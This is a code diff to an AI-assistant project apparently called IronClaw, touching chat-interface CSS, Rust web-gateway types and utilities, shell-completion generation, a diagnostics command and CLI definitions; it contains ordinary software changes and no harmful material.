|
||||||
.tool-call-preview {
|
|
||||||
color: var(--text-secondary);
|
|
||||||
font-size: 0.9em;
|
|
||||||
max-height: 60px;
|
|
||||||
overflow: hidden;
|
|
||||||
white-space: pre-wrap;
|
|
||||||
word-break: break-word;
|
|
||||||
}
|
|
||||||
|
|
||||||
.tool-call-error-text {
|
|
||||||
color: var(--danger);
|
|
||||||
font-size: 0.9em;
|
|
||||||
}
|
|
||||||
|
|
||||||
.tool-error .tool-call-name {
|
|
||||||
color: var(--danger);
|
|
||||||
}
|
|
||||||
|
|
||||||
/* Auth card (inline in chat) */
|
/* Auth card (inline in chat) */
|
||||||
.auth-card {
|
.auth-card {
|
||||||
align-self: flex-start;
|
align-self: flex-start;
|
||||||
@@ -994,7 +943,7 @@ body {
|
|||||||
/* Chat input */
|
/* Chat input */
|
||||||
.chat-input {
|
.chat-input {
|
||||||
display: flex;
|
display: flex;
|
||||||
padding: 12px 16px max(12px, env(safe-area-inset-bottom)) 16px;
|
padding: 12px 16px;
|
||||||
gap: 8px;
|
gap: 8px;
|
||||||
background: var(--bg-secondary);
|
background: var(--bg-secondary);
|
||||||
border-top: 1px solid var(--border);
|
border-top: 1px solid var(--border);
|
||||||
@@ -1815,7 +1764,6 @@ body {
|
|||||||
.job-files {
|
.job-files {
|
||||||
display: flex;
|
display: flex;
|
||||||
height: calc(100vh - 280px);
|
height: calc(100vh - 280px);
|
||||||
height: calc(100dvh - 280px);
|
|
||||||
border: 1px solid var(--border);
|
border: 1px solid var(--border);
|
||||||
border-radius: var(--radius);
|
border-radius: var(--radius);
|
||||||
overflow: hidden;
|
overflow: hidden;
|
||||||
@@ -2320,6 +2268,43 @@ body {
|
|||||||
margin-top: 6px;
|
margin-top: 6px;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/* Restart overlay */
|
||||||
|
.restart-overlay {
|
||||||
|
position: fixed;
|
||||||
|
top: 0;
|
||||||
|
left: 0;
|
||||||
|
width: 100%;
|
||||||
|
height: 100%;
|
||||||
|
background: rgba(0, 0, 0, 0.8);
|
||||||
|
z-index: 2000;
|
||||||
|
display: flex;
|
||||||
|
align-items: center;
|
||||||
|
justify-content: center;
|
||||||
|
}
|
||||||
|
|
||||||
|
.restart-message {
|
||||||
|
text-align: center;
|
||||||
|
color: var(--text);
|
||||||
|
}
|
||||||
|
|
||||||
|
.restart-message h2 {
|
||||||
|
margin: 16px 0 8px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.restart-message p {
|
||||||
|
color: var(--text-secondary);
|
||||||
|
}
|
||||||
|
|
||||||
|
.restart-spinner {
|
||||||
|
width: 40px;
|
||||||
|
height: 40px;
|
||||||
|
border: 3px solid var(--border);
|
||||||
|
border-top-color: var(--accent);
|
||||||
|
border-radius: 50%;
|
||||||
|
animation: spin 0.8s linear infinite;
|
||||||
|
margin: 0 auto;
|
||||||
|
}
|
||||||
|
|
||||||
@keyframes spin {
|
@keyframes spin {
|
||||||
to { transform: rotate(360deg); }
|
to { transform: rotate(360deg); }
|
||||||
}
|
}
|
||||||
@@ -3397,44 +3382,3 @@ mark {
|
|||||||
width: 100%;
|
width: 100%;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
/* Slash command autocomplete dropdown */
|
|
||||||
.slash-autocomplete {
|
|
||||||
position: relative;
|
|
||||||
background: var(--bg-secondary);
|
|
||||||
border-top: 1px solid var(--border);
|
|
||||||
border-bottom: none;
|
|
||||||
max-height: 220px;
|
|
||||||
overflow-y: auto;
|
|
||||||
z-index: 50;
|
|
||||||
}
|
|
||||||
|
|
||||||
.slash-ac-item {
|
|
||||||
display: flex;
|
|
||||||
align-items: baseline;
|
|
||||||
gap: 10px;
|
|
||||||
padding: 7px 16px;
|
|
||||||
cursor: pointer;
|
|
||||||
transition: background 0.1s;
|
|
||||||
}
|
|
||||||
|
|
||||||
.slash-ac-item:hover,
|
|
||||||
.slash-ac-item.selected {
|
|
||||||
background: var(--bg-tertiary);
|
|
||||||
}
|
|
||||||
|
|
||||||
.slash-ac-cmd {
|
|
||||||
font-family: var(--font-mono);
|
|
||||||
font-size: 13px;
|
|
||||||
color: var(--accent);
|
|
||||||
white-space: nowrap;
|
|
||||||
min-width: 130px;
|
|
||||||
}
|
|
||||||
|
|
||||||
.slash-ac-desc {
|
|
||||||
font-size: 12px;
|
|
||||||
color: var(--text-secondary);
|
|
||||||
overflow: hidden;
|
|
||||||
text-overflow: ellipsis;
|
|
||||||
white-space: nowrap;
|
|
||||||
}
|
|
||||||
|
|||||||
@@ -55,10 +55,6 @@ pub struct ToolCallInfo {
|
|||||||
pub name: String,
|
pub name: String,
|
||||||
pub has_result: bool,
|
pub has_result: bool,
|
||||||
pub has_error: bool,
|
pub has_error: bool,
|
||||||
#[serde(skip_serializing_if = "Option::is_none")]
|
|
||||||
pub result_preview: Option<String>,
|
|
||||||
#[serde(skip_serializing_if = "Option::is_none")]
|
|
||||||
pub error: Option<String>,
|
|
||||||
}
|
}
|
||||||
|
|
||||||
#[derive(Debug, Serialize)]
|
#[derive(Debug, Serialize)]
|
||||||
@@ -71,21 +67,6 @@ pub struct HistoryResponse {
|
|||||||
/// Cursor for the next page (ISO8601 timestamp of the oldest message returned).
|
/// Cursor for the next page (ISO8601 timestamp of the oldest message returned).
|
||||||
#[serde(skip_serializing_if = "Option::is_none")]
|
#[serde(skip_serializing_if = "Option::is_none")]
|
||||||
pub oldest_timestamp: Option<String>,
|
pub oldest_timestamp: Option<String>,
|
||||||
/// Pending tool approval that needs user action (re-rendered on thread switch).
|
|
||||||
///
|
|
||||||
/// Only populated from in-memory state; not persisted to DB.
|
|
||||||
/// Server restart clears pending approvals.
|
|
||||||
#[serde(skip_serializing_if = "Option::is_none")]
|
|
||||||
pub pending_approval: Option<PendingApprovalInfo>,
|
|
||||||
}
|
|
||||||
|
|
||||||
/// Lightweight DTO for a pending tool approval (excludes context_messages).
|
|
||||||
#[derive(Debug, Serialize)]
|
|
||||||
pub struct PendingApprovalInfo {
|
|
||||||
pub request_id: String,
|
|
||||||
pub tool_name: String,
|
|
||||||
pub description: String,
|
|
||||||
pub parameters: String,
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// --- Approval ---
|
// --- Approval ---
|
||||||
@@ -123,10 +104,6 @@ pub enum SseEvent {
|
|||||||
name: String,
|
name: String,
|
||||||
success: bool,
|
success: bool,
|
||||||
#[serde(skip_serializing_if = "Option::is_none")]
|
#[serde(skip_serializing_if = "Option::is_none")]
|
||||||
error: Option<String>,
|
|
||||||
#[serde(skip_serializing_if = "Option::is_none")]
|
|
||||||
parameters: Option<String>,
|
|
||||||
#[serde(skip_serializing_if = "Option::is_none")]
|
|
||||||
thread_id: Option<String>,
|
thread_id: Option<String>,
|
||||||
},
|
},
|
||||||
#[serde(rename = "tool_result")]
|
#[serde(rename = "tool_result")]
|
||||||
@@ -336,15 +313,6 @@ pub struct JobDetailResponse {
|
|||||||
#[serde(skip_serializing_if = "Option::is_none")]
|
#[serde(skip_serializing_if = "Option::is_none")]
|
||||||
pub job_mode: Option<String>,
|
pub job_mode: Option<String>,
|
||||||
pub transitions: Vec<TransitionInfo>,
|
pub transitions: Vec<TransitionInfo>,
|
||||||
/// Whether this job can be restarted from the UI.
|
|
||||||
#[serde(default)]
|
|
||||||
pub can_restart: bool,
|
|
||||||
/// Whether follow-up prompts can be sent to this job.
|
|
||||||
#[serde(default)]
|
|
||||||
pub can_prompt: bool,
|
|
||||||
/// The kind of job: "sandbox" or "agent".
|
|
||||||
#[serde(skip_serializing_if = "Option::is_none")]
|
|
||||||
pub job_kind: Option<String>,
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// --- Project Files ---
|
// --- Project Files ---
|
||||||
@@ -380,8 +348,6 @@ pub struct TransitionInfo {
|
|||||||
#[derive(Debug, Serialize)]
|
#[derive(Debug, Serialize)]
|
||||||
pub struct ExtensionInfo {
|
pub struct ExtensionInfo {
|
||||||
pub name: String,
|
pub name: String,
|
||||||
#[serde(skip_serializing_if = "Option::is_none")]
|
|
||||||
pub display_name: Option<String>,
|
|
||||||
pub kind: String,
|
pub kind: String,
|
||||||
pub description: Option<String>,
|
pub description: Option<String>,
|
||||||
#[serde(skip_serializing_if = "Option::is_none")]
|
#[serde(skip_serializing_if = "Option::is_none")]
|
||||||
@@ -392,9 +358,6 @@ pub struct ExtensionInfo {
|
|||||||
/// Whether this extension has configurable secrets (setup schema).
|
/// Whether this extension has configurable secrets (setup schema).
|
||||||
#[serde(default)]
|
#[serde(default)]
|
||||||
pub needs_setup: bool,
|
pub needs_setup: bool,
|
||||||
/// Whether this extension has an auth configuration (OAuth or manual token).
|
|
||||||
#[serde(default)]
|
|
||||||
pub has_auth: bool,
|
|
||||||
/// WASM channel activation status: "installed", "configured", "active", "failed".
|
/// WASM channel activation status: "installed", "configured", "active", "failed".
|
||||||
#[serde(skip_serializing_if = "Option::is_none")]
|
#[serde(skip_serializing_if = "Option::is_none")]
|
||||||
pub activation_status: Option<String>,
|
pub activation_status: Option<String>,
|
||||||
@@ -467,6 +430,9 @@ pub struct ActionResponse {
|
|||||||
/// Whether the channel was successfully activated after setup.
|
/// Whether the channel was successfully activated after setup.
|
||||||
#[serde(skip_serializing_if = "Option::is_none")]
|
#[serde(skip_serializing_if = "Option::is_none")]
|
||||||
pub activated: Option<bool>,
|
pub activated: Option<bool>,
|
||||||
|
/// Whether a gateway restart is needed (activation failed).
|
||||||
|
#[serde(skip_serializing_if = "Option::is_none")]
|
||||||
|
pub needs_restart: Option<bool>,
|
||||||
}
|
}
|
||||||
|
|
||||||
impl ActionResponse {
|
impl ActionResponse {
|
||||||
@@ -478,6 +444,7 @@ impl ActionResponse {
|
|||||||
awaiting_token: None,
|
awaiting_token: None,
|
||||||
instructions: None,
|
instructions: None,
|
||||||
activated: None,
|
activated: None,
|
||||||
|
needs_restart: None,
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -489,6 +456,7 @@ impl ActionResponse {
|
|||||||
awaiting_token: None,
|
awaiting_token: None,
|
||||||
instructions: None,
|
instructions: None,
|
||||||
activated: None,
|
activated: None,
|
||||||
|
needs_restart: None,
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -573,9 +541,6 @@ pub struct SkillSearchResponse {
|
|||||||
#[derive(Debug, Deserialize)]
|
#[derive(Debug, Deserialize)]
|
||||||
pub struct SkillInstallRequest {
|
pub struct SkillInstallRequest {
|
||||||
pub name: String,
|
pub name: String,
|
||||||
/// Registry slug (e.g. "owner/skill-name"). Preferred over `name` for
|
|
||||||
/// constructing the download URL when fetching from ClawHub.
|
|
||||||
pub slug: Option<String>,
|
|
||||||
pub url: Option<String>,
|
pub url: Option<String>,
|
||||||
pub content: Option<String>,
|
pub content: Option<String>,
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,234 +0,0 @@
|
|||||||
//! Shared utility functions for the web gateway.
|
|
||||||
|
|
||||||
use crate::channels::web::types::{ToolCallInfo, TurnInfo};
|
|
||||||
|
|
||||||
/// Truncate a string to at most `max_bytes` bytes at a char boundary, appending "...".
|
|
||||||
pub fn truncate_preview(s: &str, max_bytes: usize) -> String {
|
|
||||||
if s.len() <= max_bytes {
|
|
||||||
return s.to_string();
|
|
||||||
}
|
|
||||||
// Walk backwards from max_bytes to find a valid char boundary
|
|
||||||
let mut end = max_bytes;
|
|
||||||
while end > 0 && !s.is_char_boundary(end) {
|
|
||||||
end -= 1;
|
|
||||||
}
|
|
||||||
format!("{}...", &s[..end])
|
|
||||||
}
|
|
||||||
|
|
||||||
/// Build TurnInfo pairs from flat DB messages (user/tool_calls/assistant triples).
|
|
||||||
///
|
|
||||||
/// Handles three message patterns:
|
|
||||||
/// - `user → assistant` (legacy, no tool calls)
|
|
||||||
/// - `user → tool_calls → assistant` (with persisted tool call summaries)
|
|
||||||
/// - `user` alone (incomplete turn)
|
|
||||||
pub fn build_turns_from_db_messages(
|
|
||||||
messages: &[crate::history::ConversationMessage],
|
|
||||||
) -> Vec<TurnInfo> {
|
|
||||||
let mut turns = Vec::new();
|
|
||||||
let mut turn_number = 0;
|
|
||||||
let mut iter = messages.iter().peekable();
|
|
||||||
|
|
||||||
while let Some(msg) = iter.next() {
|
|
||||||
if msg.role == "user" {
|
|
||||||
let mut turn = TurnInfo {
|
|
||||||
turn_number,
|
|
||||||
user_input: msg.content.clone(),
|
|
||||||
response: None,
|
|
||||||
state: "Completed".to_string(),
|
|
||||||
started_at: msg.created_at.to_rfc3339(),
|
|
||||||
completed_at: None,
|
|
||||||
tool_calls: Vec::new(),
|
|
||||||
};
|
|
||||||
|
|
||||||
// Check if next message is a tool_calls record
|
|
||||||
if let Some(next) = iter.peek()
|
|
||||||
&& next.role == "tool_calls"
|
|
||||||
{
|
|
||||||
let tc_msg = iter.next().expect("peeked");
|
|
||||||
match serde_json::from_str::<Vec<serde_json::Value>>(&tc_msg.content) {
|
|
||||||
Ok(calls) => {
|
|
||||||
turn.tool_calls = calls
|
|
||||||
.iter()
|
|
||||||
.map(|c| ToolCallInfo {
|
|
||||||
name: c["name"].as_str().unwrap_or("unknown").to_string(),
|
|
||||||
has_result: c.get("result_preview").is_some(),
|
|
||||||
has_error: c.get("error").is_some(),
|
|
||||||
result_preview: c["result_preview"].as_str().map(String::from),
|
|
||||||
error: c["error"].as_str().map(String::from),
|
|
||||||
})
|
|
||||||
.collect();
|
|
||||||
}
|
|
||||||
Err(e) => {
|
|
||||||
tracing::warn!(
|
|
||||||
message_id = %tc_msg.id,
|
|
||||||
"Malformed tool_calls JSON in DB, skipping: {e}"
|
|
||||||
);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// Check if next message is an assistant response
|
|
||||||
if let Some(next) = iter.peek()
|
|
||||||
&& next.role == "assistant"
|
|
||||||
{
|
|
||||||
let assistant_msg = iter.next().expect("peeked");
|
|
||||||
turn.response = Some(assistant_msg.content.clone());
|
|
||||||
turn.completed_at = Some(assistant_msg.created_at.to_rfc3339());
|
|
||||||
}
|
|
||||||
|
|
||||||
// Incomplete turn (user message without response)
|
|
||||||
if turn.response.is_none() {
|
|
||||||
turn.state = "Failed".to_string();
|
|
||||||
}
|
|
||||||
|
|
||||||
turns.push(turn);
|
|
||||||
turn_number += 1;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
turns
|
|
||||||
}
|
|
||||||
|
|
||||||
#[cfg(test)]
|
|
||||||
mod tests {
|
|
||||||
use super::*;
|
|
||||||
use uuid::Uuid;
|
|
||||||
|
|
||||||
// ---- truncate_preview tests ----
|
|
||||||
|
|
||||||
#[test]
|
|
||||||
fn test_truncate_preview_short_string() {
|
|
||||||
assert_eq!(truncate_preview("hello", 10), "hello");
|
|
||||||
}
|
|
||||||
|
|
||||||
#[test]
|
|
||||||
fn test_truncate_preview_exact_boundary() {
|
|
||||||
assert_eq!(truncate_preview("hello", 5), "hello");
|
|
||||||
}
|
|
||||||
|
|
||||||
#[test]
|
|
||||||
fn test_truncate_preview_truncates_ascii() {
|
|
||||||
assert_eq!(truncate_preview("hello world", 5), "hello...");
|
|
||||||
}
|
|
||||||
|
|
||||||
#[test]
|
|
||||||
fn test_truncate_preview_empty_string() {
|
|
||||||
assert_eq!(truncate_preview("", 10), "");
|
|
||||||
}
|
|
||||||
|
|
||||||
#[test]
|
|
||||||
fn test_truncate_preview_multibyte_char_boundary() {
|
|
||||||
// '€' is 3 bytes (E2 82 AC). "a€b" = [61, E2, 82, AC, 62] = 5 bytes
|
|
||||||
// Truncating at max_bytes=3 should not split the euro sign.
|
|
||||||
let s = "a€b";
|
|
||||||
let result = truncate_preview(s, 3);
|
|
||||||
// max_bytes=3 lands mid-€, so it walks back to byte 1 ("a")
|
|
||||||
assert_eq!(result, "a...");
|
|
||||||
}
|
|
||||||
|
|
||||||
#[test]
|
|
||||||
fn test_truncate_preview_emoji() {
|
|
||||||
// '🦀' is 4 bytes. "hi🦀" = 6 bytes
|
|
||||||
let s = "hi🦀";
|
|
||||||
let result = truncate_preview(s, 4);
|
|
||||||
// max_bytes=4 lands mid-🦀, walks back to byte 2 ("hi")
|
|
||||||
assert_eq!(result, "hi...");
|
|
||||||
}
|
|
||||||
|
|
||||||
#[test]
|
|
||||||
fn test_truncate_preview_cjk() {
|
|
||||||
// CJK characters are 3 bytes each. "你好世界" = 12 bytes
|
|
||||||
let s = "你好世界";
|
|
||||||
let result = truncate_preview(s, 7);
|
|
||||||
// max_bytes=7 lands mid-character (byte 7 is inside 世), walks back to 6 ("你好")
|
|
||||||
assert_eq!(result, "你好...");
|
|
||||||
}
|
|
||||||
|
|
||||||
#[test]
|
|
||||||
fn test_truncate_preview_zero_max_bytes() {
|
|
||||||
assert_eq!(truncate_preview("hello", 0), "...");
|
|
||||||
}
|
|
||||||
|
|
||||||
// ---- build_turns_from_db_messages tests ----
|
|
||||||
|
|
||||||
fn make_msg(role: &str, content: &str, offset_ms: i64) -> crate::history::ConversationMessage {
|
|
||||||
crate::history::ConversationMessage {
|
|
||||||
id: Uuid::new_v4(),
|
|
||||||
role: role.to_string(),
|
|
||||||
content: content.to_string(),
|
|
||||||
created_at: chrono::Utc::now() + chrono::TimeDelta::milliseconds(offset_ms),
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
#[test]
|
|
||||||
fn test_build_turns_complete() {
|
|
||||||
let messages = vec![
|
|
||||||
make_msg("user", "Hello", 0),
|
|
||||||
make_msg("assistant", "Hi!", 1000),
|
|
||||||
make_msg("user", "How?", 2000),
|
|
||||||
make_msg("assistant", "Good", 3000),
|
|
||||||
];
|
|
||||||
let turns = build_turns_from_db_messages(&messages);
|
|
||||||
assert_eq!(turns.len(), 2);
|
|
||||||
assert_eq!(turns[0].user_input, "Hello");
|
|
||||||
assert_eq!(turns[0].response.as_deref(), Some("Hi!"));
|
|
||||||
assert_eq!(turns[0].state, "Completed");
|
|
||||||
assert_eq!(turns[1].user_input, "How?");
|
|
||||||
assert_eq!(turns[1].response.as_deref(), Some("Good"));
|
|
||||||
}
|
|
||||||
|
|
||||||
#[test]
|
|
||||||
fn test_build_turns_incomplete() {
|
|
||||||
let messages = vec![make_msg("user", "Hello", 0)];
|
|
||||||
let turns = build_turns_from_db_messages(&messages);
|
|
||||||
assert_eq!(turns.len(), 1);
|
|
||||||
assert!(turns[0].response.is_none());
|
|
||||||
assert_eq!(turns[0].state, "Failed");
|
|
||||||
}
|
|
||||||
|
|
||||||
#[test]
|
|
||||||
fn test_build_turns_with_tool_calls() {
|
|
||||||
let tc_json = serde_json::json!([
|
|
||||||
{"name": "shell", "result_preview": "output"},
|
|
||||||
{"name": "http", "error": "timeout"}
|
|
||||||
]);
|
|
||||||
let messages = vec![
|
|
||||||
make_msg("user", "Run it", 0),
|
|
||||||
make_msg("tool_calls", &tc_json.to_string(), 500),
|
|
||||||
make_msg("assistant", "Done", 1000),
|
|
||||||
];
|
|
||||||
let turns = build_turns_from_db_messages(&messages);
|
|
||||||
assert_eq!(turns.len(), 1);
|
|
||||||
assert_eq!(turns[0].tool_calls.len(), 2);
|
|
||||||
assert_eq!(turns[0].tool_calls[0].name, "shell");
|
|
||||||
assert!(turns[0].tool_calls[0].has_result);
|
|
||||||
assert_eq!(turns[0].tool_calls[1].name, "http");
|
|
||||||
assert!(turns[0].tool_calls[1].has_error);
|
|
||||||
assert_eq!(turns[0].response.as_deref(), Some("Done"));
|
|
||||||
}
|
|
||||||
|
|
||||||
#[test]
|
|
||||||
fn test_build_turns_malformed_tool_calls() {
|
|
||||||
let messages = vec![
|
|
||||||
make_msg("user", "Hello", 0),
|
|
||||||
make_msg("tool_calls", "not json", 500),
|
|
||||||
make_msg("assistant", "Done", 1000),
|
|
||||||
];
|
|
||||||
let turns = build_turns_from_db_messages(&messages);
|
|
||||||
assert_eq!(turns.len(), 1);
|
|
||||||
assert!(turns[0].tool_calls.is_empty());
|
|
||||||
assert_eq!(turns[0].response.as_deref(), Some("Done"));
|
|
||||||
}
|
|
||||||
|
|
||||||
#[test]
|
|
||||||
fn test_build_turns_backward_compatible() {
|
|
||||||
let messages = vec![
|
|
||||||
make_msg("user", "Hello", 0),
|
|
||||||
make_msg("assistant", "Hi!", 1000),
|
|
||||||
];
|
|
||||||
let turns = build_turns_from_db_messages(&messages);
|
|
||||||
assert_eq!(turns.len(), 1);
|
|
||||||
assert!(turns[0].tool_calls.is_empty());
|
|
||||||
assert_eq!(turns[0].state, "Completed");
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -242,7 +242,7 @@ async fn handle_client_message(
|
|||||||
} => {
|
} => {
|
||||||
if let Some(ref ext_mgr) = state.extension_manager {
|
if let Some(ref ext_mgr) = state.extension_manager {
|
||||||
match ext_mgr.auth(&extension_name, Some(&token)).await {
|
match ext_mgr.auth(&extension_name, Some(&token)).await {
|
||||||
Ok(result) if result.is_authenticated() => {
|
Ok(result) if result.status == "authenticated" => {
|
||||||
let msg = match ext_mgr.activate(&extension_name).await {
|
let msg = match ext_mgr.activate(&extension_name).await {
|
||||||
Ok(r) => format!(
|
Ok(r) => format!(
|
||||||
"{} authenticated ({} tools loaded)",
|
"{} authenticated ({} tools loaded)",
|
||||||
@@ -268,9 +268,9 @@ async fn handle_client_message(
|
|||||||
.sse
|
.sse
|
||||||
.broadcast(crate::channels::web::types::SseEvent::AuthRequired {
|
.broadcast(crate::channels::web::types::SseEvent::AuthRequired {
|
||||||
extension_name,
|
extension_name,
|
||||||
instructions: result.instructions().map(String::from),
|
instructions: result.instructions,
|
||||||
auth_url: result.auth_url().map(String::from),
|
auth_url: result.auth_url,
|
||||||
setup_url: result.setup_url().map(String::from),
|
setup_url: result.setup_url,
|
||||||
});
|
});
|
||||||
}
|
}
|
||||||
Err(e) => {
|
Err(e) => {
|
||||||
@@ -483,7 +483,6 @@ mod tests {
|
|||||||
store: None,
|
store: None,
|
||||||
job_manager: None,
|
job_manager: None,
|
||||||
prompt_queue: None,
|
prompt_queue: None,
|
||||||
scheduler: None,
|
|
||||||
user_id: "test".to_string(),
|
user_id: "test".to_string(),
|
||||||
shutdown_tx: tokio::sync::RwLock::new(None),
|
shutdown_tx: tokio::sync::RwLock::new(None),
|
||||||
ws_tracker: Some(Arc::new(WsConnectionTracker::new())),
|
ws_tracker: Some(Arc::new(WsConnectionTracker::new())),
|
||||||
@@ -494,6 +493,7 @@ mod tests {
|
|||||||
registry_entries: Vec::new(),
|
registry_entries: Vec::new(),
|
||||||
cost_guard: None,
|
cost_guard: None,
|
||||||
startup_time: std::time::Instant::now(),
|
startup_time: std::time::Instant::now(),
|
||||||
|
restart_requested: std::sync::atomic::AtomicBool::new(false),
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+3
-42
@@ -1,6 +1,6 @@
|
|||||||
use clap::{CommandFactory, Parser};
|
use clap::{CommandFactory, Parser};
|
||||||
use clap_complete::{Shell, generate};
|
use clap_complete::{Shell, generate};
|
||||||
use std::io::{self, Write};
|
use std::io;
|
||||||
|
|
||||||
/// Generate shell completion scripts for ironclaw
|
/// Generate shell completion scripts for ironclaw
|
||||||
#[derive(Parser, Debug)]
|
#[derive(Parser, Debug)]
|
||||||
@@ -15,23 +15,8 @@ impl Completion {
|
|||||||
let mut cmd = crate::cli::Cli::command();
|
let mut cmd = crate::cli::Cli::command();
|
||||||
let bin_name = cmd.get_name().to_string();
|
let bin_name = cmd.get_name().to_string();
|
||||||
|
|
||||||
if self.shell == Shell::Zsh {
|
// Generated and output script to stdout
|
||||||
// Generate to buffer so we can patch the compdef call.
|
generate(self.shell, &mut cmd, bin_name, &mut io::stdout());
|
||||||
// clap_complete emits bare `compdef _ironclaw ironclaw` which
|
|
||||||
// errors if sourced before compinit. Guard it so the script
|
|
||||||
// works in all sourcing contexts.
|
|
||||||
let mut buf = Vec::new();
|
|
||||||
generate(self.shell, &mut cmd, bin_name.clone(), &mut buf);
|
|
||||||
let script = String::from_utf8(buf)?;
|
|
||||||
|
|
||||||
let bare = format!("compdef _{0} {0}", bin_name);
|
|
||||||
let guarded = format!("(( $+functions[compdef] )) && compdef _{0} {0}", bin_name);
|
|
||||||
let patched = script.replace(&bare, &guarded);
|
|
||||||
|
|
||||||
io::stdout().write_all(patched.as_bytes())?;
|
|
||||||
} else {
|
|
||||||
generate(self.shell, &mut cmd, bin_name, &mut io::stdout());
|
|
||||||
}
|
|
||||||
|
|
||||||
Ok(())
|
Ok(())
|
||||||
}
|
}
|
||||||
@@ -51,28 +36,4 @@ mod tests {
|
|||||||
generate(completion.shell, &mut cmd, bin_name, &mut buf);
|
generate(completion.shell, &mut cmd, bin_name, &mut buf);
|
||||||
assert!(!buf.is_empty(), "generate() should produce output");
|
assert!(!buf.is_empty(), "generate() should produce output");
|
||||||
}
|
}
|
||||||
|
|
||||||
#[test]
|
|
||||||
fn test_zsh_compdef_guard_applied() {
|
|
||||||
let mut cmd = crate::cli::Cli::command();
|
|
||||||
let bin_name = cmd.get_name().to_string();
|
|
||||||
let mut buf = Vec::new();
|
|
||||||
generate(Shell::Zsh, &mut cmd, bin_name.clone(), &mut buf);
|
|
||||||
let raw = String::from_utf8(buf).unwrap();
|
|
||||||
|
|
||||||
// Apply the same patching logic as run()
|
|
||||||
let bare = format!("compdef _{0} {0}", bin_name);
|
|
||||||
let guarded = format!("(( $+functions[compdef] )) && compdef _{0} {0}", bin_name);
|
|
||||||
let patched = raw.replace(&bare, &guarded);
|
|
||||||
|
|
||||||
let bare_compdef = format!(" compdef _{0} {0}\n", bin_name);
|
|
||||||
assert!(
|
|
||||||
!patched.contains(&bare_compdef),
|
|
||||||
"bare compdef should not appear after patching"
|
|
||||||
);
|
|
||||||
assert!(
|
|
||||||
patched.contains("$+functions[compdef]"),
|
|
||||||
"patched output should contain compdef guard"
|
|
||||||
);
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|||||||
+8
-4
@@ -6,8 +6,6 @@
|
|||||||
|
|
||||||
use std::path::PathBuf;
|
use std::path::PathBuf;
|
||||||
|
|
||||||
use crate::bootstrap::ironclaw_base_dir;
|
|
||||||
|
|
||||||
/// Run all diagnostic checks and print results.
|
/// Run all diagnostic checks and print results.
|
||||||
pub async fn run_doctor_command() -> anyhow::Result<()> {
|
pub async fn run_doctor_command() -> anyhow::Result<()> {
|
||||||
println!("IronClaw Doctor");
|
println!("IronClaw Doctor");
|
||||||
@@ -171,7 +169,11 @@ async fn try_pg_connect() -> Result<(), String> {
|
|||||||
url: Some(url),
|
url: Some(url),
|
||||||
..Default::default()
|
..Default::default()
|
||||||
};
|
};
|
||||||
let pool = crate::db::tls::create_pool(&config, crate::config::SslMode::from_env())
|
let pool = config
|
||||||
|
.create_pool(
|
||||||
|
Some(deadpool_postgres::Runtime::Tokio1),
|
||||||
|
tokio_postgres::NoTls,
|
||||||
|
)
|
||||||
.map_err(|e| format!("pool error: {e}"))?;
|
.map_err(|e| format!("pool error: {e}"))?;
|
||||||
|
|
||||||
let client = tokio::time::timeout(std::time::Duration::from_secs(5), pool.get())
|
let client = tokio::time::timeout(std::time::Duration::from_secs(5), pool.get())
|
||||||
@@ -193,7 +195,9 @@ async fn try_pg_connect() -> Result<(), String> {
|
|||||||
}
|
}
|
||||||
|
|
||||||
fn check_workspace_dir() -> CheckResult {
|
fn check_workspace_dir() -> CheckResult {
|
||||||
let dir = ironclaw_base_dir();
|
let dir = dirs::home_dir()
|
||||||
|
.unwrap_or_else(|| PathBuf::from("."))
|
||||||
|
.join(".ironclaw");
|
||||||
|
|
||||||
if dir.exists() {
|
if dir.exists() {
|
||||||
if dir.is_dir() {
|
if dir.is_dir() {
|
||||||
|
|||||||
+2
-2
@@ -546,10 +546,10 @@ async fn get_secrets_store() -> anyhow::Result<Arc<dyn SecretsStore + Send + Syn
|
|||||||
.await
|
.await
|
||||||
.map_err(|e| anyhow::anyhow!("{}", e))?;
|
.map_err(|e| anyhow::anyhow!("{}", e))?;
|
||||||
|
|
||||||
Ok(Arc::new(crate::secrets::LibSqlSecretsStore::new(
|
return Ok(Arc::new(crate::secrets::LibSqlSecretsStore::new(
|
||||||
backend.shared_db(),
|
backend.shared_db(),
|
||||||
Arc::new(crypto),
|
Arc::new(crypto),
|
||||||
)))
|
)));
|
||||||
}
|
}
|
||||||
|
|
||||||
#[cfg(not(any(feature = "postgres", feature = "libsql")))]
|
#[cfg(not(any(feature = "postgres", feature = "libsql")))]
|
||||||
|
|||||||
+8
-77
@@ -37,18 +37,14 @@ pub use service::{ServiceCommand, run_service_command};
|
|||||||
pub use status::run_status_command;
|
pub use status::run_status_command;
|
||||||
pub use tool::{ToolCommand, run_tool_command};
|
pub use tool::{ToolCommand, run_tool_command};
|
||||||
|
|
||||||
use clap::{ColorChoice, Parser, Subcommand};
|
use clap::{Parser, Subcommand};
|
||||||
|
|
||||||
#[derive(Parser, Debug)]
|
#[derive(Parser, Debug)]
|
||||||
#[command(name = "ironclaw")]
|
#[command(name = "ironclaw")]
|
||||||
#[command(
|
#[command(
|
||||||
about = "Secure personal AI assistant that protects your data and expands its capabilities"
|
about = "Secure personal AI assistant that protects your data and expands its capabilities"
|
||||||
)]
|
)]
|
||||||
#[command(
|
|
||||||
long_about = "IronClaw is a secure AI assistant. Use 'ironclaw <subcommand> --help' for details.\nExamples:\n ironclaw run # Start the agent\n ironclaw config list # List configs"
|
|
||||||
)]
|
|
||||||
#[command(version)]
|
#[command(version)]
|
||||||
#[command(color = ColorChoice::Auto)] // Enable auto-color for help (if the terminal supports it)
|
|
||||||
pub struct Cli {
|
pub struct Cli {
|
||||||
#[command(subcommand)]
|
#[command(subcommand)]
|
